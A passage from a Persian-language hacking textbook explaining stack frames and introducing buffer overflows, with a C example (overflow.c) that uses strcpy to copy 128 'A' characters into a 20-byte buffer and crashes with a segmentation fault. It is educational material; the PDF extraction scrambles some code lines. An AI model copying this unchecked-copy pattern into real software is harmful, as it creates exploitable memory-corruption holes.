‫ﻣﺎﻫﯿﺖ ‪ FILO‬در ﭘﺸﺘﻪ ﻋﺠﯿﺐ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ‪ ،‬اﻣﺎ ﺑﻪ دﻟﯿﻞ اﺳﺘﻔﺎده از ﭘﺸﺘﻪ ﺟﻬﺖ ذﺧﯿﺮه ﻣﻔﺎد‪ ،‬ﺑﺴﯿﺎر ﻣﻔﯿﺪ و ﭘﺮﮐﺎرﺑﺮد‬
‫اﺳﺖ‪ .‬ﺑﻪ ﻣﺤﺾ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ‪ ،‬ﭼﻨﺪﯾﻦ ﻋﻨﺼﺮ ﺑﺎ ﯾﮑـﺪﯾﮕﺮ روی ﭘـﺸﺘﻪ ﻗـﺮار ﮔﺮﻓﺘـﻪ و ﺳـﺎﺧﺘﻤﺎﻧﯽ را ﺑـﻪ ﻧـﺎم ﻗـﺎب ﭘـﺸﺘﻪ‬
‫‪26‬‬
‫)‪ (stack frame‬ﺑﻮﺟﻮد ﻣﯽ آورﻧﺪ‪ .‬ﺛﺒﺎت ‪) EBP‬ﮐﻪ ﮔﺎﻫﯽ اوﻗﺎت اﺷﺎرﮔﺮ ﻗﺎب )‪ 25(FP‬ﯾﺎ اﺷﺎرﮔﺮ ﭘﺎﯾﻪ ﻣﺤﻠـﯽ )‪(LB‬‬
‫ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد( ﺑﻪ ﻣﻨﻈﻮر ارﺟﺎع ﻣﺘﻐﯿﺮﻫﺎ در ﻗﺎب ﭘﺸﺘﻪ ﻓﻌﻠﯽ اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدد‪ .‬ﻫﺮ ﻗﺎب ﭘـﺸﺘﻪ ﺣـﺎوی ﭘﺎراﻣﺘﺮﻫـﺎﯾﯽ از‬
‫ﺗﺎﺑﻊ ﯾﻌﻨﯽ ﻣﺘﻐﯿﺮ ﻫﺎی ﻣﺤﻠﯽ ﺗﺎﺑﻊ و دو اﺷﺎرﮔﺮ اﺳﺖ‪ .‬دو اﺷﺎرﮔﺮ ﯾﺎد ﺷﺪه ﺟﻬﺖ ﺗﻐﯿﯿﺮ اوﺿﺎع ﺑـﻪ ﺣﺎﻟـﺖ اوﻟﯿـﻪ ﺑﮑـﺎر ﻣـﯽ‬
‫روﻧﺪ و اﺷﺎرﮔﺮ ﻗﺎب ذﺧﯿﺮه ﺷﺪه )‪ 27(SFP‬و آدرس ﺑﺮﮔﺸﺖ‪ 28‬ﻧﺎم دارﻧﺪ‪ .‬اﺷﺎرﮔﺮ ﻗﺎب ﭘﺸﺘﻪ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﻣﻘﺪار ﻗﺒﻠـﯽ‬
‫‪ EBP‬و آدرس ﺑﺮﮔﺸﺖ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ دﺳﺘﻮر ﺑﻌﺪی ﻣﻮﺟﻮد در ﺑﻌﺪ از ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ‪ EIP‬ﺑﮑﺎر ﻣﯽ رود‪ .‬در زﯾﺮ دو ﺗﺎﺑﻊ‬
‫‪) test_function‬ﺗﺴﺖ( و ‪) main‬اﺻﻠﯽ( را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫)‪void test_function(int a, int b, int c, int d‬‬
‫{‬
‫;‪char flag‬‬

‫‪25‬‬
‫‪Frame Pointer‬‬
‫‪26‬‬
‫‪Local Base Pointer‬‬
‫‪ -Saved Frame Pointer 27‬ﭼﻮن اﺷﺎرﮔﺮ ﻗﺎب ذﺧﯿﺮه ﺷﺪه )‪ (SFP‬در ﺣﻘﯿﻘﺖ ﯾﮏ ﻣﻘﺪار ﻗﺪﯾﻤﯽ )ﺑﻪ ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ( ﺑﺮای ‪ EBP‬ﺑﻮده و ﺑﻌﺪا ﻧﯿﺰ ﻣﺠﺪدا در ‪EBP‬‬
‫)اﺷﺎرﮔﺮ ﻗﺎب( ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ ،‬ﮔﺎﻫﯽ اوﻗﺎت ﺑﻪ ﺟﺎی ‪ Saved Frame Pointer‬از ﻋﺒﺎرت ‪) Stack Frame Pointer‬ﮐﻪ ﻫﺮ دو ﺑﻪ ﺻﻮرت ‪ SFP‬ﻣﺨﻔﻒ ﻣﯽ ﺷﻮﻧﺪ( ﻧﯿﺰ اﺳﺘﻔﺎده ﻣﯽ‬
‫ﺷﻮد‪.‬‬
‫‪28‬‬
‫‪Return Address‬‬
‫‪21‬‬
‫;]‪char buffer[10‬‬
‫}‬
‫)(‪void main‬‬
‫{‬
‫;)‪test_function(1, 2, 3, 4‬‬
‫}‬
‫اﯾﻦ ﺗﮑﻪ ﮐﺪ‪ ،‬اﺑﺘﺪا ﺗﺎﺑﻊ ﺗﺴﺖ را ﺑﺎ ﭼﻬﺎر آرﮔﻮﻣﺎن اﻋﻼن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻫﺮ ﭼﻬﺎر آرﮔﻮﻣﺎن ﺑـﻪ ﺻـﻮرت ﻋـﺪد ﺻـﺤﯿﺢ اﻋـﻼن‬
‫ﺷﺪه اﻧﺪ‪ .‬ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ اﯾﻦ ﺗﺎﺑﻊ ﺷﺎﻣﻞ ﯾﮏ ﮐﺎراﮐﺘﺮ واﺣﺪ ﺑﻪ ﻧﺎم ‪ flag‬و ﯾﮏ ﺑﺎﻓﺮ ‪ 10‬ﮐﺎراﮐﺘﺮی ﺑـﻪ ﻧـﺎم ‪ buffer‬ﻣـﯽ‬
‫ﺷﻮد‪ .‬ﺗﺎﺑﻊ اﺻﻠﯽ ﺑﻪ ﻣﺤﺾ اﺟﺮای ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﺷﺪه و ﺗﺎﺑﻊ ﺗﺴﺖ را ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ﺗﺴﺖ از ﺗﺎﺑﻊ اﺻﻠﯽ‪ ،‬ﻣﻘﺎدﯾﺮ ﮔﻮﻧﺎﮔﻮﻧﯽ روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧـﺪ ﺗـﺎ ﻗـﺎب ﭘـﺸﺘﻪ را اﯾﺠـﺎد ﮐﻨﻨـﺪ‪.‬‬
‫ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )(‪ ،test_function‬آرﮔﻮﻣﺎن ﻫﺎی آن ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس روی ﭘﺸﺘﻪ ﻗﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ )ﺑـﻪ دﻟﯿـﻞ‬
‫ﺧﺎﺻﯿﺖ ‪ .(FILO‬آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ‪ 3 ،2 ،1‬و ‪ 4‬ﻫﺴﺘﻨﺪ‪ ،‬ﻟـﺬا دﺳـﺘﻮرات ‪ ،push‬اﺑﺘـﺪا ‪ ،4‬ﺳـﭙﺲ ‪ 2 ،3‬و در آﺧـﺮ ‪ 1‬را‬
‫روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ دﻫﻨﺪ‪ .‬اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﺘﻨﺎﻇﺮ ﺑﺎ ﻣﺘﻐﯿﺮﻫﺎی ‪ b ،c ،d‬و ‪ a‬در ﺗﺎﺑﻊ ﻫﺴﺘﻨﺪ‪.‬‬
‫ﻫﻨﮕﺎم اﺟﺮای دﺳﺘﻮر اﺳﻤﺒﻠﯽ "‪ "call‬ﺑﻪ ﻣﻨﻈﻮر ﺗﻐﯿﯿﺮ زﻣﯿﻨﻪ اﺟﺮاﯾﯽ ﺑﻪ )(‪ ،test_function‬آدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ‬
‫ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬اﯾﻦ ﻣﻘﺪار ﻣﮑﺎن دﺳﺘﻮر ﺑﻌﺪ از ‪ EIP‬ﻓﻌﻠﯽ ﯾﺎ ﺑﻪ ﻃﻮر دﻗﯿﻖ ﺗﺮ ﻣﻘﺪار ذﺧﯿﺮه ﺷﺪه در ﻣﺮﺣﻠـﻪ ‪ 3‬از ﭼﺮﺧـﻪ‬
‫اﺟﺮاﯾﯽ ﯾﺎد ﺷﺪه در ﻗﺒﻞ اﺳﺖ‪ .‬ذﺧﯿﺮه آدرس ﺑﺮﮔﺸﺖ ﻫﻤﺮاه ﺑﺎ ﭘﺪﯾﺪه ای ﺑﻪ ﻧـﺎم آﻏـﺎز روﯾـﻪ )‪(Procedure Prolog‬‬
‫رخ ﻣﯽ دﻫﺪ‪ .‬در اﯾﻦ ﻣﺮﺣﻠﻪ ﻣﻘﺪار ﻓﻌﻠﯽ ‪ EBP‬روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬اﯾﻦ ﻣﻘﺪار ﮐﻪ ‪ SFP‬ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﺪ ﺑﻌﺪا ﺟﻬـﺖ‬
‫ﺑﺎزﯾﺎﺑﯽ ﻣﻘﺪار ‪ EBP‬ﺑﻪ ﻣﻘﺪار ﻗﺒﻠﯽ ﺧﻮد )ﯾﻌﻨﯽ ﻣﻘﺪار ﻓﻌﻠﯽ( اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ ﻣﻘـﺪار ﻓﻌﻠـﯽ ‪ ESP‬در ‪ EBP‬ﮐﭙـﯽ‬
‫ﺷﺪه ﺗﺎ ﻣﻘﺪار ﺟﺪﯾﺪ اﺷﺎرﮔﺮ ﻗﺎب را ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﻗﺎب ﭘﺸﺘﻪ ﺗﻨﻈﯿﻢ ﮐﻨﺪ‪ .‬ﻓﻀﺎی اﯾـﻦ ﻗـﺎب ﭘـﺸﺘﻪ ﺑـﺎ ﺗﻔﺮﯾـﻖ از ‪ESP‬‬
‫ﺑﺪﺳﺖ ﻣﯽ آﯾﺪ ﮐﻪ ﻫﻤﺎن ﻓﻀﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ روی ﭘﺸﺘﻪ ﺑﺮای ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ ﺗـﺎﺑﻊ )‪ flag‬و ‪ (buffer‬اﺳـﺖ‪ .‬ﺣﺎﻓﻈـﻪ‬
‫ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ ﺑﺮای اﯾﻦ ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ روی ﭘﺸﺘﻪ ﻗﺮار ﻧﮕﺮﻓﺘﻪ اﺳﺖ )‪ ،(push‬ﻟﺬا ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ در اﯾـﻦ ﻣﺘﻐﯿﺮﻫـﺎ ﺑـﻪ‬
‫ﺻﻮرت ﻣﻌﻤﻮل اﺳﺖ‪ .‬در اﻧﺘﻬﺎ ﻗﺎب ﭘﺸﺘﻪ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ‪:‬‬

‫ﺗﺼﻮﯾﺮ ﻓﻮق ﻧﻤﺎﯾﺸﮕﺮ ﻗﺎب ﭘﺸﺘﻪ اﺳﺖ‪ .‬ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ ﺑﺎ ﺗﻔﺮﯾﻖ از اﺷﺎرﮔﺮ ﻗﺎبِ ‪ EBP‬و آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑـﺎ اﺿـﺎﻓﻪ‬
‫ﺷﺪن ﺑﻪ آن ارﺟﺎع داده ﻣﯽ ﺷﻮﻧﺪ‪.‬‬

‫‪22‬‬
‫ﺑﺮای اﺟﺮای ﯾﮏ ﺗﺎﺑﻊ‪ ،‬ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ آن‪ ،‬ﻣﻘﺪار ‪ EIP‬ﺑﻪ آدرس اﺑﺘﺪای ﺗﺎﺑﻊ در ﻗﻄﻌﻪ ‪ text‬از ﺣﺎﻓﻈﻪ ﺗﻐﯿﯿﺮ ﻣـﯽ ﯾﺎﺑـﺪ‪.‬‬
‫ﺣﺎﻓﻈﻪ در ﭘﺸﺘﻪ ﺑﺮای ﻣﺘﻐﯿﺮﻫﺎی ﻋﻤﻮﻣﯽ و آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑﮑﺎر ﻣﯽ رود‪ .‬ﺑﺎ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻦ اﺟﺮا‪ ،‬ﺗﻤﺎم ﻗﺎبِ ﭘﺸﺘﻪ از روی‬
‫ﭘﺸﺘﻪ ﺣﺬف ﺷﺪه )‪ (pop‬و ﻣﻘﺪار ‪ EIP‬ﻣﺴﺎوی ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﻣﯽ ﮔﺮدد‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮاﻧﺪ روﻧـﺪ اﺟـﺮا‬
‫را )از ﺑﻌﺪ از ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ( اداﻣﻪ دﻫﺪ‪ .‬اﮔﺮ ﺗﺎﺑﻊ دﯾﮕﺮی درون ﺗﺎﺑﻊ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﺪ‪ ،‬ﺑﺎﯾﺴﺘﯽ ﻗﺎب ﭘﺸﺘﻪ دﯾﮕﺮی درون‬
‫ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ و ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال ﺗﺎ آﺧﺮ‪ .‬ﺑﻪ ﻣﺤﺾ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻦ ﺗـﺎﺑﻊ )دوم(‪ ،‬ﻗـﺎب ﭘـﺸﺘﻪ آن از ﭘـﺸﺘﻪ ﺣـﺬف ﻣـﯽ‬
‫ﺷﻮد‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت روﻧﺪ اﺟﺮا ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﺗﺎﺑﻊ ﻗﺒﻠﯽ )اول( ﺑﺎز ﮔﺮدد‪ .‬دﻟﯿـﻞ ﺧﺎﺻـﯿﺖ ‪ FILO‬در اﯾـﻦ ﻗﻄﻌـﻪ از ﺣﺎﻓﻈـﻪ‬
‫)ﭘﺸﺘﻪ( ﻧﯿﺰ ﻫﻤﯿﻦ اﺳﺖ‪.‬‬
‫ﻗﻄﻌﺎت ﻣﺨﺘﻠﻒ ﺣﺎﻓﻈﻪ ﺑﻪ ﻫﻤﺎن ﺗﺮﺗﯿﺒﯽ ﮐﻪ در ﺑﺎﻻ ﯾﺎد ﺷﺪ )ﯾﻌﻨﯽ از آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ای ﮐﻮﭼﮑﺘﺮ ﺑﻪ آدرس ﺣﺎﻓﻈﻪ ای‬
‫ﺑﺰرﮔﺘﺮ( ﻫﺴﺘﻨﺪ‪ .‬اﻣﺎ ﭼﻮن ﺑﺴﯿﺎری از اﻓﺮاد ﺑﺎ ﺷﻤﺎرش از ﺑﺎﻻ ﺑﻪ ﭘـﺎﺋﯿﻦ راﺣـﺖ ﺗـﺮ ﻫـﺴﺘﻨﺪ‪ ،‬ﻟـﺬا آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ ای‬
‫ﮐﻮﭼﮑﺘﺮ را در ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﯿﻢ‪.‬‬

‫ﭼﻮن ﻫﺮ دو ﻗﻄﻌﻪ ‪ heap‬و ‪ stack‬ﭘﻮﯾﺎ ﻫﺴﺘﻨﺪ‪ ،‬ﻟﺬا ﻫﺮ دو در ﺟﻬﺎت ﻣﺨﺎﻟﻒ و رو ﺑﻪ ﯾﮑﺪﯾﮕﺮ رﺷﺪ ﻣﯽ ﮐﻨﻨـﺪ‪ .‬اﯾـﻦ ﻋﻤـﻞ‬
‫ﺳﺒﺐ ﮐﺎﻫﺶ ﻓﻀﺎﻫﺎی زاﺋﺪ و ﺑﯿﻬﻮده و ﻫﻤﭽﻨﯿﻦ ﮐﺎﻫﺶ اﺣﺘﻤﺎل ﺗﺪاﺧﻞ رﺷﺪ ﯾﮏ ﻗﻄﻌﻪ در ﻓﻀﺎی ﻗﻄﻌﻪ دﯾﮕﺮ ﻣﯽ ﺷﻮد‪.‬‬

‫‪23‬‬
‫‪ .2,6‬ﺳﺮرﯾﺰﻫﺎی ﺑﺎﻓﺮ‬

‫زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ‪ ،C‬ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ اﺳﺖ‪ ،‬اﻣﺎ در آن ﻣﺴﺌﻮل ﺟﺎﻣﻌﯿﺖ داده‪ ،29‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻓﺮض ﺷﺪه اﺳﺖ‪ .‬اﮔﺮ‬
‫اﯾﻦ ﻣﺴﺌﻮﻟﯿﺖ ﺑﺮ دوش ﮐﺎﻣﭙﺎﯾﻠﺮ ﻗﺮار داده ﻣﯽ ﺷﺪ‪ ،‬ﺑﻪ دﻟﯿﻞ ﺑﺮرﺳﯽ ﻫﺎی ﺟﺎﻣﻌﯽ روی ﺗﻤﺎم ﻣﺘﻐﯿﺮﻫﺎ‪ ،‬ﺑﺎﯾﻨﺮی ﻫﺎی ﺗﻮﻟﯿـﺪ‬
‫ﺷﺪه ﺑﻪ ﻃﻮر ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای ﮐﻨﺪﺗﺮ ﻣﯽ ﺑﻮدﻧﺪ‪ .‬ﻫﻤﭽﻨﯿﻦ اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻄﺢ ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای از ﮐﻨﺘﺮل را از ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ‬
‫ﺳﻠﺐ و زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را ﭘﯿﭽﯿﺪه ﻣﯽ ﮐﺮد‪.‬‬
‫اﮔﺮﭼﻪ ﺳﺎدﮔﯽ زﺑﺎن ‪ ،C‬ﮐﻨﺘﺮل ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و ﮐﺎراﯾﯽ ﺑﺮﻧﺎﻣﻪ ﻫﺎ را اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ‪ ،‬اﻣﺎ در ﻋﻮض در ﺻﻮرت ﻋﺪم دﻗﺖ‬
‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ اﻣﮑﺎن ﺗﻮﻟﯿﺪ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﻧـﺴﺒﺖ ﺑـﻪ ﺳـﺮرﯾﺰﻫﺎی ﺑـﺎﻓﺮ و ﺗـﺮاوش ﺣﺎﻓﻈـﻪ ای )‪(memory leak‬‬
‫آﺳﯿﺐ ﭘﺬﯾﺮ ﻫﺴﺘﻨﺪ‪ .‬ﯾﻌﻨﯽ ﻫﻨﮕﺎم ﺗﺨﺼﯿﺺ ﺣﺎﻓﻈﻪ ﺑﺮای ﯾﮏ ﻣﺘﻐﯿﺮ‪ ،‬ﻫـﯿﭻ ﺣﻔـﺎظ دروﻧـﯽ ﺟﻬـﺖ ﺣـﺼﻮل اﻃﻤﯿﻨـﺎن از ﺟـﺎ‬
‫ﮔﺮﻓﺘﻦ ﻣﺤﺘﻮﯾﺎت ﻣﺘﻐﯿﺮ در ﻓﻀﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ وﺟﻮد ﻧﺪارد‪ .‬اﮔﺮ ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ ﻣﺎﯾـﻞ ﺑـﻪ ﻗـﺮار دادن ‪ 10‬ﺑﺎﯾـﺖ داده‬
‫درون ﺑﺎﻓﺮی ﺑﺎﺷﺪ ﮐﻪ ﺗﻨﻬﺎ ‪ 8‬ﺑﺎﯾﺖ ﻓﻀﺎ دارد‪ ،‬اﮔﺮﭼﻪ ﺑﻪ اﺣﺘﻤﺎل زﯾﺎد اﯾـﻦ ﻋﻤـﻞ ﺳـﺒﺐ از ﮐـﺎر اﻓﺘـﺎدن ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ ﺷـﻮد‬
‫)‪ ،30(crash‬اﻣﺎ ﻣﺠﺎز ﺷﻨﺎﺧﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ ﺗﺤﺖ ﻋﻨﻮان ﺳﺮرﯾﺰ ﺑـﺎﻓﺮ )‪ (buffer overflow‬ﯾـﺎ ﺗﺠﺎﺳـﺮ ﺑـﺎﻓﺮ‬
‫)‪ (buffer overrun‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ ،‬ﭼﺮا ﮐﻪ دو ﺑﺎﯾﺖ داده اﺿﺎﻓﯽ از ﺣﺎﻓﻈﻪ ی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ و ﺳﺒﺐ‬
‫ﺟﺎﯾﻨﻮﯾﺴﯽ )‪ (overwrite‬و اﺷﻐﺎل ﺷﺪن ﻣﮑﺎن ﻫﺎی ﺣﺎﻓﻈﻪ ای ﻣﺠﺎور ﻣﯽ ﺷﻮد‪ .‬اﮔﺮ ﺗﮑﻪ داده ای ﻣﻬﻤﯽ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد‪،‬‬
‫ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﻣﯽ ﮐﻨﺪ‪ .‬ﮐﺪ زﯾﺮ ﯾﮏ ﻧﻤﻮﻧﻪ از اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ‪.‬‬
‫‪overflow.c code‬‬
‫)‪void overflow_function (char *str‬‬
‫{‬
‫;]‪char buffer[20‬‬

‫‪strcpy(buffer, str); // Function that copies str to buffer‬‬


‫}‬

‫)(‪int main‬‬
‫{‬
‫;]‪char big_string[128‬‬
‫;‪int i‬‬

‫‪for(i=0; i < 128; i++) // Loop 128 times‬‬


‫{‬
‫‪big_string[i] = 'A'; // And fill big_string with 'A's‬‬
‫}‬
‫;)‪overflow_function(big_string‬‬
‫;)‪exit(0‬‬
‫}‬
‫اﯾﻦ ﮐﺪ ﺗﺎﺑﻌﯽ ﺑﻪ ﻧﺎم )(‪ overflow_function‬دارد ﮐﻪ ﯾﮏ اﺷﺎرﮔﺮ رﺷﺘﻪ ای ﺑﻪ ﻧﺎم ‪ str‬را ﺑﻪ ﻋﻨﻮان آرﮔﻮﻣـﺎن درﯾﺎﻓـﺖ‬
‫ﮐﺮده و ﺳﭙﺲ ﻫﺮ آﻧﭽﻪ را ﮐﻪ در آن آدرس ﺣﺎﻓﻈﻪ ای ﺑﺎﺷﺪ در ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ﺗﺎﺑﻊ ﺑـﻪ ﻧـﺎم ‪) buffer‬ﮐـﻪ ﺗﻨﻬـﺎ ‪ 20‬ﺑﺎﯾـﺖ‬
‫ﺣﺎﻓﻈﻪ ﺑﺮای آن ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ( ﮐﭙﯽ ﻣﯽ ﮐﻨﺪ‪ .‬ﺗﺎﺑﻊ اﺻﻠﯽ ﯾﮏ ﺑـﺎﻓﺮ ‪ 128‬ﺑـﺎﯾﺘﯽ را ﺑـﻪ ﻧـﺎم ‪ big_string‬ﺗﺨـﺼﯿﺺ‬
‫داده و از ﯾــﮏ ﺣﻠﻘــﻪ ‪ for‬ﺑــﺮای ﭘــﺮ ﮐــﺮدن ﺑــﺎﻓﺮ )‪ 20‬ﺑــﺎﯾﺘﯽ( ﺑــﺎ ﮐﺎراﮐﺘﺮﻫــﺎی ‪ A‬اﺳــﺘﻔﺎده ﻣــﯽ ﮐﻨــﺪ‪ .‬ﺳــﭙﺲ ﺗــﺎﺑﻊ‬
‫)(‪ overflow_function‬را ﺑﺎ آرﮔﻮﻣﺎﻧﯽ ﻣﻌﺎدل ﺑﺎ ﯾﮏ اﺷﺎرﮔﺮ از آن ﺑﺎﻓﺮ ‪ 128‬ﺑﺎﯾﺘﯽ‪ ،‬ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨـﺪ‪ .‬از آﻧﺠـﺎ ﮐـﻪ‬
‫ﺗﺎﺑﻊ )(‪ overflow_function‬ﺳﻌﯽ ﺑﺮ ﻗﺮار دادن ‪ 128‬ﺑﺎﯾﺖ داده در ﺑـﺎﻓﺮی دارد ﮐـﻪ ﺗﻨﻬـﺎ ‪ 20‬ﺑﺎﯾـﺖ ﻓـﻀﺎ ﺑـﺮای آن‬

‫‪29‬‬
‫‪Data Integrity‬‬
‫‪ 30‬ﺑﺮای ﻓﻬﻢ ﺑﻬﺘﺮ‪ ،‬در اﯾﻦ ﮐﺘﺎب از واژه ﺳﺎده ی ﮐﺮش ﺑﻪ ﺟﺎی ﻋﺒﺎرت از ﮐﺎر اﻓﺘﺎدن ﺑﻪ ﻋﻨﻮان ﻣﻌﺎدﻟﯽ ﺑﺮای ‪ crash‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ‪.‬‬
‫‪24‬‬
‫ﺗﺨﺼﯿﺺ داده ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﺑﺮوز ﻣﺸﮑﻼﺗﯽ ﺧﻮاﻫﺪ ﺷﺪ‪ 108 .‬ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه از داده‪ ،‬ﺑـﺮ روی ﻋﻨﺎﺻـﺮ‬
‫دﯾﮕﺮی ﮐﻪ ﺑﻌﺪ از ﺑﺎﻓﺮ در ﻓﻀﺎی ﺣﺎﻓﻈﻪ ﻗﺮار دارﻧﺪ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ‪ .‬ﻧﺘﺎﯾﺞ اﯾﻦ ﻋﻤﻞ را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪$ gcc -o overflow overflow.c‬‬
‫‪$ ./overflow‬‬
‫‪Segmentation fault‬‬
‫‪$‬‬
‫ﻧﺘﯿﺠﻪ اﯾﻦ ﺳﺮرﯾﺰ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ اﺳﺖ‪ .‬اﯾﻦ ﻧﻮع ﺧﻄﺎﻫﺎ ﻣﻌﻤﻮل ﻫﺴﺘﻨﺪ و اﮔﺮ ﺑﺮﻧﺎﻣﻪ ﻧـﻮﯾﺲ ﻃـﻮل ورودی را ﺑﺪاﻧـﺪ‬
‫ﺑﺮاﺣﺘﯽ ﻗﺎﺑﻞ رﻓﻊ ﻣﯽ ﺑﺎﺷﻨﺪ‪ .‬اﻏﻠﺐ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﭘﯿﺶ ﺑﯿﻨﯽ ﻣﯽ ﮐﻨﺪ ﮐﻪ ﯾﮏ ﮐﺎرﺑﺮ ﻣﺸﺨﺺ ﻫﻤﯿﺸﻪ ﯾﮏ ورودی ﺑـﺎ ﻃـﻮل‬
‫ﻣﺸﺨﺺ را وارد ﻣﯽ ﮐﻨﺪ و اﯾﻦ ﻓﺮض را ﺳﺮﻟﻮﺣﻪ ﮐﺎر ﺧﻮد ﻗﺮار ﻣﯽ دﻫﺪ‪ .‬اﻣﺎ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ ﮔﻔﺘﯿﻢ‪ ،‬ﻋﻠﻢ ﻫﮑﯿﻨﮓ ﻓﮑﺮ‬
‫ﮐﺮدن راﺟﻊ ﺑﻪ ﻣﻮاردی اﺳﺖ ﮐﻪ ﻫﯿﭻ ﮔﺎه راﺟﻊ ﺑﻪ آﻧﻬﺎ ﻓﮑﺮی ﻧﺸﺪه ﯾﺎ ﻓﺮﺿﯽ اراﺋﻪ ﻧﮕﺸﺘﻪ اﺳﺖ‪ .‬ﻟﺬا ﻫﺮ ﻫﻨﮕﺎم ﮐﻪ ﯾـﮏ‬
‫ﻧﻔﻮذﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ وارد ﮐﺮدن ﻫﺰار ﮐﺎراﮐﺘﺮ در ﯾﮏ ﻓﯿﻠﺪ ﮐﻨﺪ ﮐﻪ ﺗﻨﻬﺎ ﭼﻨﺪﯾﻦ ﮐﺎراﮐﺘﺮ ﺑﺮای آن ﻧﯿـﺎز ﺑﺎﺷـﺪ )ﻣﺜـﻞ ﻓﯿﻠـﺪ‬
